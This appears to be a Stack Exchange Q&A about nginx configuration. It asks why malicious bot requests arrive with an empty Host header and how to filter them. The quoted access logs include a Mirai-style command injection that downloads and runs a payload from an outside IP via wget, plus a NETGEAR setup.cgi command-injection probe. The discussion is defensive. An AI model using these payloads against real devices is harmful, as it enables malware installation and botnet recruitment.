0

I have a web server that hosts my open to the internet web applications. Every web app has its own subdomain, e.g. app1.mycompanydomain.com and app2.mycompanydomain.com. All of the incoming traffic comes to the nginx where it resolves host names and proxies the requests to the application web server on the same VM. Here is my configuration:

server {
        listen 80;
        server_name _;
        return 444;
}

server {
        listen 80;
        server_name *.mycompanydomain.com;
        return 301 https://$host$request_uri;
}

server {
        listen 443 ssl;
        server_name _;

        ssl_certificate /opt/cert/cert.crt;
        ssl_certificate_key /opt/cert/cert.key;

        return 444;
}

server {
        server_name app1.mycompanydomain.com www.app1.mycompanydomain.com;
        listen 443 ssl;

        ssl_certificate /opt/cert/cert.crt;
        ssl_certificate_key /opt/cert/cert.key;

        location / {
                proxy_pass http://localhost:9081/;
        }
}

#Proxying for the rest of the applications look the same

Blocks where I return 444 http status are intended to filter out automated malicious requests which we used to receive plenty. The problem is that we still receive a fair amount of such requests. I'm almost sure the most of these requests are sent by automatic bots that don't know the target hosts, but for some reason we couldn't identify a target host of these requests so we can't really block them. We tried to log $host, $http_host, $server_name but all of them were either empty or _.

Therefore 2 questions:

How can request host be empty? Is there other ways to identify request host? What other rules I can impose to filter our rogue traffic? Example of malicious traffic that is still coming through:

  1. IP: 45.228.213.131 [28/Feb/2020:03:32:25 -0500] request: "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1", target: _, code: 400, body: 166, agent: "botnet/2.0", time: 0.000 ms

  2. IP: 85.93.20.170 [27/Feb/2020:16:29:24 -0500] request: "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr", target: _, code: 400, body: 166, agent: "-", time: 0.132 ms

  3. IP: 31.208.166.61 [25/Feb/2020:16:07:02 -0500] request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1", target: _, code: 400, body: 166, agent: "Mozilla/5.0", time: 0.000 ms

0

How can request host be empty?

As you say, "most of these requests are sent by automatic bots that don't know the target hosts". This means that the connecting hosts won't send any host header at all, hoping the request will still be processed by the web server.

The three examples you provided are interesting, here's what they seem to be:

  1. A command injection attack from the Mirai botnet, trying to use login.cgi to download and execute a Mirai payload from 45.148.10.194 (the malware sample is available on Hybrid-Analysis):

    IP: 45.228.213.131 [28/Feb/2020:03:32:25 -0500] request: "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1", target: _, code: 400, body: 166, agent: "botnet/2.0", time: 0.000 ms

  2. An RDP (remote desktop) connection, possibly an RDP scanner:

    IP: 85.93.20.170 [27/Feb/2020:16:29:24 -0500] request: "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr", target: _, code: 400, body: 166, agent: "-", time: 0.132 ms

  3. Another command injection attack trying to leverage an old NETGEAR exploit (exploit-db 25978):

    IP: 31.208.166.61 [25/Feb/2020:16:07:02 -0500] request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1", target: _, code: 400, body: 166, agent: "Mozilla/5.0", time: 0.000 ms

Two of the examples (#1 and #3) are targeting a simple embedded systems running web servers that don't bother with HTTP Host headers. The RDP connection doesn't send a Host header because it doesn't have any intention to speak HTTP at all.

Rejecting connections that don't have a valid HTTP Host header seems like a good approach to filter out these attacks.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.